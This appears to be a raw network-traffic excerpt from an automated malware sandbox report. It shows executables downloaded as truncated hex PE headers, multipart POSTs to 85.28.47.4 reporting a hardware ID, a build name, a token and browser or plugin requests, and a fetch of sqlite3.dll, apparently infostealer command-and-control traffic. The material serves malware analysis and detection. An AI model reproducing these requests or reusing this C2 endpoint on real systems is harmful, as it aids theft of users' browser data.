00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 28 Jun 2024 11:36:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 28 Jun 2024 11:36:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 28 Jun 2024 11:36:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 28 Jun 2024 11:36:12 GMTContent-Type: application/octet-streamContent-Length: 1886720Last-Modified: Fri, 28 Jun 2024 10:40:56 GMTConnection: keep-aliveETag: "667e9338-1cca00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 f0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4b 00 00 04 00 00 c3 85 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 a0 06 00 6c 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 dd 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 dd 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 64 74 70 67 70 74 6f 00 b0 19 00 00 30 31 00 00 b0 19 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 66 6e 65 65 6b 65 70 00 10 00 00 00 e0 4a 00 00 06 00 00 00 a2 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4a 00 00 22 00 00 00 a8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 28 Jun 2024 11:36:23 GMTContent-Type: application/octet-streamContent-Length: 2502656Last-Modified: Fri, 28 Jun 2024 08:05:14 GMTConnection: keep-aliveETag: "667e6eba-263000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 89 fa 75 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 04 a6 be 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 be 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 20 00 00 20 00 00 00 00 20 00 00 20 00 00 00 00 00 00 10 00 00 00 20 f0 9c 00 bf 0c 00 00 e0 fc 9c 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 9c 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 01 00 00 10 00 00 00 a4 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 c0 01 00 00 40 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 30 21 00 00 40 02 00 00 04 00 00 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 50 00 00 00 70 23 00 00 20 00 00 00 ec 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 79 00 00 c0 23 00 00 28 03 00 00 0c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 00 22 00 00 c0 9c 00 00 fc 21 00 00 34 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGHJECFCFCBFIDBGCGHost: 85.28.47.4Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 39 30 41 34 31 41 32 35 43 44 33 39 33 35 34 33 30 31 34 39 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 2d 2d 0d 0a Data Ascii: ------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="hwid"C190A41A25CD3935430149------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="build"default------IJEGHJECFCFCBFIDBGCG--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKEBKFCAAECAAAAAECHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 2d 2d 0d 0a Data Ascii: ------KKJKEBKFCAAECAAAAAECContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------KKJKEBKFCAAECAAAAAECContent-Disposition: form-data; name="message"browsers------KKJKEBKFCAAECAAAAAEC--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHCBKKKFHCGCBFIJEHDHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------EGHCBKKKFHCGCBFIJEHDContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------EGHCBKKKFHCGCBFIJEHDContent-Disposition: form-data; name="message"plugins------EGHCBKKKFHCGCBFIJEHD--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFBAKFCBFHIJJJJDBFCHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="message"fplugins------BKFBAKFCBFHIJJJJDBFC--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFIHost: 85.28.47.4Content-Length: 7191Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
